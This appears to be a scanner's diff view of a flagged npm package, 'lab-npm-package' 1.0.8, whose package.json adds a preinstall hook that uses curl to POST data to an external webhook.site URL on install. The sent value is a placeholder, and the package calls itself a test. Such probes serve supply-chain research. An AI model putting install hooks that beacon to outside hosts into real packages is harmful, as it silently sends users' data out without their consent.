lab-npm-package 1.0.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of lab-npm-package might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ //index.js
2
+
3
+ function helloNpm() {
4
+ return "hello NPM"
5
+ }
6
+
7
+ module.exports = helloNpm
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "lab-npm-package",
3
+ "version": "1.0.8",
4
+ "description": "This is a test package, please don't install and use this",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "curl -X POST -H 'Content-Type: application/json' -d '{'env_variable': 'rajesh' }' https://webhook.site/6c53f051-f81b-4ea1-853c-a4ea76539a5c"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
12
+
package/test/script.js ADDED
@@ -0,0 +1,5 @@
1
+ // test/script.js
2
+
3
+ const helloNpm = require('lab-npm-package')
4
+
5
+ console.log(helloNpm())